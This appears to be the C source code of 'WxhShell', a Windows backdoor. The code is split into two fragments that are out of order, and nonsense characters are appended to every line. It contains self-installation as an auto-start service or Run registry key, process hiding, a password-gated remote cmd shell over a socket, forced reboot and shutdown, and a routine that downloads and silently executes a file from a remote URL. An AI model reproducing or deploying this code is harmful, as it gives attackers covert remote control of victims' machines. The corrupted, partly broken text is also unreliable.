    } .Y'kDuUu  
    break; @)&b..c?_  
    } 9UOx~Ty  
  // 关机 vq$%Ug/B  
  case 'd': { ~U*2h =]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GW'=/ z7  
    if(Boot(SHUTDOWN)) 3Zsqx =w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r@P\_  
    else { ]=9%fA  
    closesocket(wsh); H;*:XLPF  
    ExitThread(0); aFo%B; 8m  
    } [=e61Z  
    break; T1PWFw\GH  
    } IK{0Y#c  
  // 获取shell 51`w.ri  
  case 's': { 9^0 'VRG  
    CmdShell(wsh); )_+"  
    closesocket(wsh); kSU*d/}*u  
    ExitThread(0); )[9L|o5D  
    break; M(Jf&h4b  
  } tt|U,o  
  // 退出 g%j z,|  
  case 'x': { _<;#=l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F xFK  
    CloseIt(wsh); BOL_kp"   
    break; Yc:b:\0}F6  
    } Iay7Fkv  
  // 离开 ":]O3 D{r  
  case 'q': { Y+/ofk "  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P_-zkw  
    closesocket(wsh); i=o>Bl@f  
    WSACleanup(); U{>!`RN  
    exit(1); 5 1 x^gX|  
    break; =AgY8cF!sl  
        } b@1QE  
  } t T-]Vj.  
  } ]Wd{4(b  
?N11R?8  
  // 提示信息 Q2 rZMK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aE,x>I 7 D  
} 3J'a  
  } J)jiI>  
DT9i<kl  
  return; zztW7MG2lQ  
} !+>yCy$~_  
 }O1F.5I1  
// shell模块句柄 }=f}@JlFB  
int CmdShell(SOCKET sock) pQVi&(M  
{ N`iK1n4 X  
STARTUPINFO si; oR-_=U^  
ZeroMemory(&si,sizeof(si)); cK-!Evv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2tWUBt\,g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2lp.Td`{  
PROCESS_INFORMATION ProcessInfo; r<|\4zIo/  
char cmdline[]="cmd"; m};_\Db`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }U^9(  
  return 0; ww\/$ |  
} RhQOl9  
b7>;UX  
// 自身启动模式 ]iz5VI@  
int StartFromService(void) Fa/i./V2  
{ Nc"h8p?  
typedef struct gdT^QM:y4$  
{ 3_ zI$Z  
  DWORD ExitStatus; \C<rg|  
  DWORD PebBaseAddress; TTOd0a  
  DWORD AffinityMask; T.1z<l""  
  DWORD BasePriority; Hb]7>[L  
  ULONG UniqueProcessId; d!gm4hQhl  
  ULONG InheritedFromUniqueProcessId; ol[{1KT{  
}   PROCESS_BASIC_INFORMATION; d>AVUf<o~  
Me`"@{r|#  
PROCNTQSIP NtQueryInformationProcess; v5 9>  
" 3^6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b _u&%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ol YSr .Q`  
& 9?vQq|%  
  HANDLE             hProcess; K^w9@&g6  
  PROCESS_BASIC_INFORMATION pbi; =riP~%_ML)  
=x^I 5Pn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); * e 8V4P  
  if(NULL == hInst ) return 0; 3>jz3>v@  
S"eKiS,z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #|CG %w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w{r ->Phe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ebao7r5@  
22*t%{(  
  if (!NtQueryInformationProcess) return 0; =~arj  
JPpYT~4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FVD}9ia  
  if(!hProcess) return 0; \hq8/6=4s  
_Ng*K]0/E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @qe>ph[UA  
~/#?OLj(T  
  CloseHandle(hProcess); Dr2h-  
pUwX cy<n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^y3\e  
if(hProcess==NULL) return 0; P! 3$RO  
.o-j  
HMODULE hMod; /9yiMmr5W  
char procName[255]; bF Vd v&  
unsigned long cbNeeded; pts}?   
y k5P/H)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7]^ }  
U'lD|R,g  
  CloseHandle(hProcess); [@y=% \%R  
HcVPJuD  
if(strstr(procName,"services")) return 1; // 以服务启动 ft*0?2N~  
C>u 3n^  
  return 0; // 注册表启动 $%E9^F  
} <s2l*mc  
czb%%:EJs|  
// 主模块 S]o  
int StartWxhshell(LPSTR lpCmdLine) 5ya3mN E  
{ '|/_='  
  SOCKET wsl; Cei U2.:U  
BOOL val=TRUE; ?rOb?cu-  
  int port=0; v\k,,sI  
  struct sockaddr_in door; Gu}x+hG  
nSow$6T_  
  if(wscfg.ws_autoins) Install(); e>>G4g  
G9a%N  
port=atoi(lpCmdLine); P3yiJ|vP  
(p?3#|^  
if(port<=0) port=wscfg.ws_port; &`Di cfD  
aK&+p#4t  
  WSADATA data; bsP ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6uXW`/lvX  
p)^:~ ll  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YJ^ lM\/<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /T(\}Z  
  door.sin_family = AF_INET; bGi_", 8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &v-V_.0(H  
  door.sin_port = htons(port); ,1[??Y  
LA?\~rh!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {e%abr_B  
closesocket(wsl); HV9SdJOf  
return 1; ]18ygqt  
} N Sh.g #  
; BZM~ '  
  if(listen(wsl,2) == INVALID_SOCKET) { DqMK[N,0  
closesocket(wsl); Xe SbA  
return 1; V0 F30rK  
} ?Bzi#Z  
  Wxhshell(wsl); yUW&Wgc=:  
  WSACleanup(); e] K=Nm  
M',D  
return 0; iW}l[g8sw!  
J4}\V$ysN  
} y,&M\3A  
YU=ZZEVi  
// 以NT服务方式启动 .G_3blE;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D i'u%r  
{ -p.*<y  
DWORD   status = 0; f 4I#a&DO  
  DWORD   specificError = 0xfffffff; iL_F*iK5  
-?nT mzRc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _qeuVi=A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tt ]V$V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @7s,| \  
  serviceStatus.dwWin32ExitCode     = 0; .Sr:"SrT  
  serviceStatus.dwServiceSpecificExitCode = 0; kLVn(dC "  
  serviceStatus.dwCheckPoint       = 0; q83~j `ZJ$  
  serviceStatus.dwWaitHint       = 0; kr(<Y|  
B^_Chj*m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mp,e9Nd;  
  if (hServiceStatusHandle==0) return; !049K!rP{  
vaRwh E:  
status = GetLastError(); Yc82vSG'  
  if (status!=NO_ERROR) q Iy^N:C2'  
{ N 2"3~  #  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ML~c&9jv  
    serviceStatus.dwCheckPoint       = 0; Ww96|m  
    serviceStatus.dwWaitHint       = 0; }utNZhJ  
    serviceStatus.dwWin32ExitCode     = status; e:J'&r& 1  
    serviceStatus.dwServiceSpecificExitCode = specificError; h Y}/Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nF<y7XkO  
    return; H_?B{We  
  } "Ug/ ',jkV  
r)p2'+}pV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DMQNr(w{!2  
  serviceStatus.dwCheckPoint       = 0; N<06sRg#  
  serviceStatus.dwWaitHint       = 0; ;}WtJ&y=M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F@ $RV_M  
} WY"Y)S  
< m enABN4  
// 处理NT服务事件,比如:启动、停止 H=&/Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0TO_1 0D  
{ nU&NopD+*G  
switch(fdwControl) \- =^]]b=  
{ S\9t4Ki_'  
case SERVICE_CONTROL_STOP: b0YiQjS6>  
  serviceStatus.dwWin32ExitCode = 0; 1BMB?I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `z}vONXpAX  
  serviceStatus.dwCheckPoint   = 0; N^\2 _T  
  serviceStatus.dwWaitHint     = 0; z!s. 9  
  { G#e9$!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UZje>. ~?  
  } E-)VPZ1D  
  return; ZU|6jI}  
case SERVICE_CONTROL_PAUSE: rFmKmV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IvTzPPP  
  break; 1E5a(  
case SERVICE_CONTROL_CONTINUE: VYamskK[G:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Xy8|OFc[  
  break; NoCDY2 $  
case SERVICE_CONTROL_INTERROGATE: Y=vVxVI\  
  break; YlswSQ  
}; +@emX$cFV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VG_uxKY  
} YDQ:eebg(  
qH#r-  
// 标准应用程序主函数 M{?zvq?d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iHAU|`'N)  
{ #NvQmz?J?  
)0#j\ B  
// 获取操作系统版本 {=UFk-$=  
OsIsNt=GetOsVer(); sm 's-gD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #z ON_[+s9  
_u&>&,:q  
  // 从命令行安装 t})lr\  
  if(strpbrk(lpCmdLine,"iI")) Install(); AV40:y\RW  
eV"!/A2:N5  
  // 下载执行文件 ?X\3&Ujy$  
if(wscfg.ws_downexe) { o:2Q2+d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KH7VR^;mk  
  WinExec(wscfg.ws_filenam,SW_HIDE); !FTNmyM~F  
} f UC9-?(K  
:e*DTVv8  
if(!OsIsNt) { XC[]E)8  
// 如果时win9x,隐藏进程并且设置为注册表启动 & _; y.!  
HideProc(); aaDP9FW9e  
StartWxhshell(lpCmdLine); 4/S=5r}  
} M!1U@6n!=)  
else [r)e P({  
  if(StartFromService()) !p9)CjQ"  
  // 以服务方式启动 eD%H XGe  
  StartServiceCtrlDispatcher(DispatchTable); WRW WskP  
else (Uk>?XAr  
  // 普通方式启动 Cyq?5\a  
  StartWxhshell(lpCmdLine); s~*}0-lS  
<5S@ORN  
return 0; vY6oV jM  
} |EKu2We*  
:.k ZR;  
O] Y v   
{( #zcK  
=========================================== "(v%1tGk  
WJ |:kuF  
H&#{l)  
MtS3p>4  
-KH)J  
 v,=v  
" FmEc`N9\v  
>nzu],U  
#include <stdio.h> 3 iRA$C-p  
#include <string.h> ,R?np9wc  
#include <windows.h> F/p,j0S  
#include <winsock2.h> <Mx0\b!  
#include <winsvc.h> 7tNc=,x}  
#include <urlmon.h> %f j+70  
-&|: 0#@P  
#pragma comment (lib, "Ws2_32.lib") [U>@,BH  
#pragma comment (lib, "urlmon.lib") ^Dg <Ki  
K_~h*Yc  
#define MAX_USER   100 // 最大客户端连接数 +vW)vS[  
#define BUF_SOCK   200 // sock buffer 1|{bDlmt  
#define KEY_BUFF   255 // 输入 buffer f$.?$  
).5RPAP  
#define REBOOT     0   // 重启 &gtG~mp<L  
#define SHUTDOWN   1   // 关机 Q8D&tJg  
+-<}+8G;  
#define DEF_PORT   5000 // 监听端口 VA] e  
!ErH~<f%K  
#define REG_LEN     16   // 注册表键长度 Bj Wr5SJ  
#define SVC_LEN     80   // NT服务名长度  x}TS  
26I  
// 从dll定义API sa1h%<   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b| M3 `  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |&3x#1A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :O-iykXyI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7 <9yH:1  
d>0 +A)6>  
// wxhshell配置信息 >&,[H:Z  
struct WSCFG { G(iJi  
  int ws_port;         // 监听端口 >j*;vG5T  
  char ws_passstr[REG_LEN]; // 口令 ^T5X)Nu{=C  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pq9|WV#F5/  
  char ws_regname[REG_LEN]; // 注册表键名 s 5WqR 8  
  char ws_svcname[REG_LEN]; // 服务名 Z[Qza13lo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tZyo`[La  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^qGb%! l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fmyj*)J[Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m)v''`9LU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 80b;I|-T,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uo\ .7[1  
d}'U?6 ob  
}; wh6yPVVF/  
V7d) S&*V  
// default Wxhshell configuration `x8J  
struct WSCFG wscfg={DEF_PORT, cD*}..-/4  
    "xuhuanlingzhe", fKH7xu!V4+  
    1, <%.5hCTp97  
    "Wxhshell", 3`E=#ff%  
    "Wxhshell", Sr?#wev]rn  
            "WxhShell Service", Wj|alH9<  
    "Wrsky Windows CmdShell Service", Zxr!:t7  
    "Please Input Your Password: ", /1N6X.Zb  
  1, (jjTK'0[  
  "http://www.wrsky.com/wxhshell.exe", Q;11N7+  
  "Wxhshell.exe" Kt@M)#  
    }; ~Q {QM:k  
1 `^Rdi0  
// 消息定义模块 PZxAH9 S?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o[oM8o<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %^sTU4D5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y8M]Lwj  
char *msg_ws_ext="\n\rExit."; 'c2W}$q  
char *msg_ws_end="\n\rQuit."; qm/Q65>E  
char *msg_ws_boot="\n\rReboot..."; S/|,u`g-  
char *msg_ws_poff="\n\rShutdown..."; 2M#M"LHo  
char *msg_ws_down="\n\rSave to "; k@zy  
W} WI; cI  
char *msg_ws_err="\n\rErr!"; ]Chj T}  
char *msg_ws_ok="\n\rOK!"; We0.3aG  
+$4(zP s@  
char ExeFile[MAX_PATH]; mxor1P#|  
int nUser = 0; infl.  
HANDLE handles[MAX_USER]; D\IjyZ-O  
int OsIsNt; 'iLpE7  
8!.ojdyn  
SERVICE_STATUS       serviceStatus; X%yO5c\l2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F, U*yj  
 "KcA  
// 函数声明 +)JpUqHa  
int Install(void); pv| Pm  
int Uninstall(void); fXrXV~'8  
int DownloadFile(char *sURL, SOCKET wsh); [MuEoWrq(}  
int Boot(int flag); /mo(_  
void HideProc(void); x.Q&$#  
int GetOsVer(void); rG,5[/l  
int Wxhshell(SOCKET wsl); Gt9&)/#  
void TalkWithClient(void *cs); \fr-<5w79  
int CmdShell(SOCKET sock); Uj&W<'I  
int StartFromService(void);  KWLbD#  
int StartWxhshell(LPSTR lpCmdLine); 'SQG>F Uy  
ECv)v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y:v,j42%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <uj 8lctmP  
~-wPP{!  
// 数据结构和表定义 wAnb Di{W  
SERVICE_TABLE_ENTRY DispatchTable[] = R|i/lEq  
{ >X*Mio8P#  
{wscfg.ws_svcname, NTServiceMain}, C6rg<tCH  
{NULL, NULL} `/Y{ l  
}; re> rr4@  
Jx'i2&hGN  
// 自我安装 /x3/Ubmz~x  
int Install(void) q^6+!&"  
{ {BKl`1z  
  char svExeFile[MAX_PATH]; )7_"wD` z  
  HKEY key; Z@hD(MS(C  
  strcpy(svExeFile,ExeFile); YM5fyv?  
RT%pDym\  
// 如果是win9x系统,修改注册表设为自启动 ^ns@O+Fk  
if(!OsIsNt) { *Q1~S]g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b(9FZ]7S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {3&|tk!*  
  RegCloseKey(key); z0/} !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WJ*n29^N^h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mFHH515  
  RegCloseKey(key); ?McQr1  
  return 0; 4 B*0M  
    } s3W@WH^.  
  } ([xo9FP;  
} TRsE %  
else { m*mm\wN5  
_'#x^D  
// 如果是NT以上系统,安装为系统服务 NKQOUw:qn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n-DVT;y  
if (schSCManager!=0) JgHM?AWg|  
{ Iy }:F8F>g  
  SC_HANDLE schService = CreateService ['ksP-=  
  ( ^FnfJ:  
  schSCManager, cHa]xmy%r'  
  wscfg.ws_svcname, c sfgJ^n  
  wscfg.ws_svcdisp, *28pRvY:b  
  SERVICE_ALL_ACCESS, f  nI|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ><=gV~7lx  
  SERVICE_AUTO_START, itzyCw2|#  
  SERVICE_ERROR_NORMAL, l&}y/t4%  
  svExeFile, uPniLx\t:  
  NULL, ncx(pp  
  NULL, pC_O:f>vJ  
  NULL, A=kH%0s2p@  
  NULL, MCdx?m3]  
  NULL +kFxi2L6  
  ); oHs2L-G  
  if (schService!=0) wfjnA~1h  
  { mg, j:,  
  CloseServiceHandle(schService); 5^j45'%I  
  CloseServiceHandle(schSCManager); T,$WlK Wj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 57 #6yXQ  
  strcat(svExeFile,wscfg.ws_svcname); LzCw+@-umw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { owPm/F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %e@#ux m  
  RegCloseKey(key); O-4C+?V  
  return 0; /6_|]ijc  
    } Y \:0Ev  
  } 'KPASfC  
  CloseServiceHandle(schSCManager); M5x U9]B  
} (< =}]v  
} B7z -7&TE  
]Ta N{"  
return 1; hxS 6:5Uc  
}  H}:LQ~_2  
qL94SW;  
// 自我卸载 $k$4% 7  
int Uninstall(void) "HXYNS>  
{ 5#QXR+ T  
  HKEY key; ?@n/v F  
=H|6 GJ  
if(!OsIsNt) { _wdG|{px  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kD}Y|*]5-5  
  RegDeleteValue(key,wscfg.ws_regname); P#:?ok  
  RegCloseKey(key); q5 L51KP2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CpQN,-4  
  RegDeleteValue(key,wscfg.ws_regname); z.rh]Zq  
  RegCloseKey(key); w eQYQrN  
  return 0; b9XW9O `B  
  } CwJDmz\tk  
} YA&g$!  
} b<]n%Q'n  
else { F"N60>>  
b2@VxdFN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nQ GQWg`  
if (schSCManager!=0) (mlzg=szW  
{ _Ob@`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^3hn0DVQ  
  if (schService!=0) 4hw@yTUo  
  { !@'%G6:.  
  if(DeleteService(schService)!=0) { p^iRPI  
  CloseServiceHandle(schService); K6olYG>  
  CloseServiceHandle(schSCManager); ;us%/kOR  
  return 0; &x > B  
  } Wpc|`e<  
  CloseServiceHandle(schService); @JW@-9/  
  } |7#[ (%D!  
  CloseServiceHandle(schSCManager); iX\W;V  
} G7=p Bf  
} !p1qJ [  
i>[_r,-\[  
return 1; V#jWege  
} ?h!i0Rsm  
,<A$h3*  
// 从指定url下载文件 * 9p |HX=  
int DownloadFile(char *sURL, SOCKET wsh) TT9z_Q5~  
{ K\)Td+~jc  
  HRESULT hr; 1jX3ey~  
char seps[]= "/"; iKas/8   
char *token; KLX/O1B  
char *file; "6a8s;  
char myURL[MAX_PATH]; jLJ1u/l>;  
char myFILE[MAX_PATH]; r",]Voibd  
$3,ryXp7  
strcpy(myURL,sURL); F:#J:x'  
  token=strtok(myURL,seps); =YG _z^'  
  while(token!=NULL) 7#<c>~   
  { Uje|`<X  
    file=token; x3rlJs`$;  
  token=strtok(NULL,seps); QKE9R-K TE  
  } *6 U&Qy-M  
zS< jd~  
GetCurrentDirectory(MAX_PATH,myFILE); <58l;<0  
strcat(myFILE, "\\"); L>Mpi$L  
strcat(myFILE, file); '$ef+@y  
  send(wsh,myFILE,strlen(myFILE),0); Bb{!Yh].:A  
send(wsh,"...",3,0); s`Cy a`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?m c%.Bt  
  if(hr==S_OK)  d^(1TNS  
return 0; wC-Rr^q  
else oQ=>'w  
return 1; @t1V o}c  
"S&%w8V  
}  M/z}p  
0hZ1rqq8C  
// 系统电源模块 {7Mj P+\  
int Boot(int flag) _j>;ipTb+  
{ C>Is1i^9  
  HANDLE hToken; 1 qi@uYDug  
  TOKEN_PRIVILEGES tkp; pG"5!42M!  
#Dfo#]k(  
  if(OsIsNt) { 1b9hE9a{j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TEsnNi 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gh6d&ucQ^  
    tkp.PrivilegeCount = 1; \C 5%\4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $mGvJ*9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x7T +>  
if(flag==REBOOT) { f f7(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &L^CCi  
  return 0; iq*A("pU  
} S=3^Q;V/1  
else { 7~M<cD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !G_jGc=v  
  return 0; 2AVc? 9@  
} E2B>b[  
  } mKq"3 4F  
  else { ~:_0CKa!  
if(flag==REBOOT) { 2q} ..  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ri>?KrQF%  
  return 0; "8V{5e!%j'  
} DG;y6#|p  
else { x?D/.vrOY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (Y(E%  
  return 0; N]5m(@h  
} p$;I'  
} ezTZnutZ  
j;K#]  
return 1; <@bA?FY  
} ep(g`e  
[FQ\I-GNC  
// win9x进程隐藏模块 c#xP91.m  
void HideProc(void) 5, b]V)4  
{ VanB>|p6  
ELa ja87  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p SN~DvR  
  if ( hKernel != NULL ) ;mAhY  
  { gdj^df+2F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e<gx~N9l'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8(X0 :  
    FreeLibrary(hKernel); '~-IV0v9  
  } TF+ l5fv  
BQ05`nkF  
return; $M"0BZQ?y!  
} Tvf~P w  
Uedvc5><t  
// 获取操作系统版本 `{FwTZ=6{  
int GetOsVer(void) 'b:Ne,<  
{ $R{8z-,Q  
  OSVERSIONINFO winfo; #-u [$TA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :h";c"  
  GetVersionEx(&winfo); 1(`M~vFDK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k ~6- cx  
  return 1; 9(VRq^Z1  
  else VTe.M[:  
  return 0; _LfHs1g4  
} 2f:Mm'XdB  
JE%A|R<Jl  
// 客户端句柄模块 T<jfAE  
int Wxhshell(SOCKET wsl) 2DMrMmLI  
{ Sw! j=`O  
  SOCKET wsh; W$\X~Q'0  
  struct sockaddr_in client; (N U0T w  
  DWORD myID; &^ I+s^\=  
q/6UK =  
  while(nUser<MAX_USER) <lFY7' aY  
{ 6 `puTL?  
  int nSize=sizeof(client); |ViU4&d*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _C+DBA  
  if(wsh==INVALID_SOCKET) return 1; C*wdtEGq  
h$h]%y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t;Wotfc[#0  
if(handles[nUser]==0) x% XT2+  
  closesocket(wsh); A_r<QYq0|  
else DNth4z  
  nUser++; _Dq Qfc%  
  } }bfn_ G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8j\d~Lw=  
{fG|_+tl3o  
  return 0; F RH&B5w  
} `Wf5  
8gpBz'/,  
// 关闭 socket 41;)-(1  
void CloseIt(SOCKET wsh) TU%"jb5  
{ 9.Ap~Ay.  
closesocket(wsh); vw r RZ"2  
nUser--; ^]rxhpS  
ExitThread(0); ;nf&c;D  
} jyjQzt >\  
UA0tFeH  
// 客户端请求句柄 Nu. (viQ}  
void TalkWithClient(void *cs) RSH/l;ii  
{ OWV/kz5'H  
8?Wgawx  
  SOCKET wsh=(SOCKET)cs; F^sw0 .b  
  char pwd[SVC_LEN]; aiR5/ ZD  
  char cmd[KEY_BUFF]; %AgA -pBp  
char chr[1]; o_:Qk;t  
int i,j; eYDgEM  
9%TT> 2#  
  while (nUser < MAX_USER) { NTVHnSoHh  
fIEw(k<*  
if(wscfg.ws_passstr) { A5+5J_)*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u[mY!(>nQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GXEcpc08  
  //ZeroMemory(pwd,KEY_BUFF); %LcH>sV  
      i=0; :tlE`BIp  
  while(i<SVC_LEN) { w7ZG oh(  
u7(];  
  // 设置超时 =WjJN Q  
  fd_set FdRead; ,7I},sZj   
  struct timeval TimeOut; 4zX=3iBt  
  FD_ZERO(&FdRead); iha9!kf  
  FD_SET(wsh,&FdRead); ]F_r6*<  
  TimeOut.tv_sec=8; #jgqkMOd,j  
  TimeOut.tv_usec=0; 0k.v0a7%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xvq^1Y?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O$(c. (_$  
OT%V{hD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QD}1?)}  
  pwd=chr[0]; [lOf|^9  
  if(chr[0]==0xd || chr[0]==0xa) { Y^X:vI  
  pwd=0; - &NQ\W  
  break; F1\`l{B,\  
  } km}MqBQl  
  i++; E{I) ]h  
    } 4y1>  
!4pr{S  
  // 如果是非法用户,关闭 socket "]w!`^'_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P!9;} &  
} pIvfmIm  
 ?;+^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #_{0Ndp2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wge ho  
n{L:MT9TD  
while(1) { HIsB|  
[jy0@Q9  
  ZeroMemory(cmd,KEY_BUFF); F G3Sk!O6  
Hw y5G ;  
      // 自动支持客户端 telnet标准   KjBOjD'I  
  j=0; >6IXuq  
  while(j<KEY_BUFF) { hR!}u}ECd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^DzL$BX  
  cmd[j]=chr[0]; A3z/Bz4]:#  
  if(chr[0]==0xa || chr[0]==0xd) { -.^3;-[  
  cmd[j]=0; ,%[LwmET  
  break; _yNT=#/  
  } |>Z&S=\I)  
  j++; L 43`^;u  
    } FOc|*>aKP  
amMjuyW  
  // 下载文件 uC- A43utv  
  if(strstr(cmd,"http://")) { Z(KmS (  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E(% XVr0W  
  if(DownloadFile(cmd,wsh)) & { DR 6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1B6C<cL:sU  
  else *}>Bkq9h  
